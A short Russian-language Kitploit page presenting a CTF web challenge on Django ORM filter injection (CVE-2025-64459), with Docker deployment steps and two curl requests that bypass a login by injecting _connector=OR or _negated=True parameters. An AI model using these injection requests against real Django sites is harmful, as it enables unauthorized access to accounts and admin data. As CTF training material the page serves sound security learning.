CVE-2025-64459 — CTF-задача, демонстрирующая внедрение фильтра Django ORM (CVE-2025-64459) с обходом аутентификации и обходом фильтра продуктов, включая развертывание и получение флага. | Kitploit

CTF-задача: Django ORM Injection (CVE-2025-64459)

Категория: Веб-безопасность
Сложность: Средняя
Уязвимость: CVE-2025-64459 - Django ORM Filter Injection

📝 Описание

Мы создали защищенный магазин мерча с панелью администратора. Сможете ли вы обойти аутентификацию и найти приватную заметку администратора?

URL: http://YOUR_SERVER:6008

🚀 Развертывание

cd web_django_cve
docker-compose up --build -d

🎯 Эксплойты (CVE-2025-64459)

# Использование _connector=OR
curl "http://HOST:8054/login/?username=admin&_connector=OR&is_superuser=True"

# Использование _negated
curl "http://HOST:8054/login/?username=admin&_negated=True"

CVE-2025-64459

Популярное

Обход фильтра товаров (/)

🏁 Флаг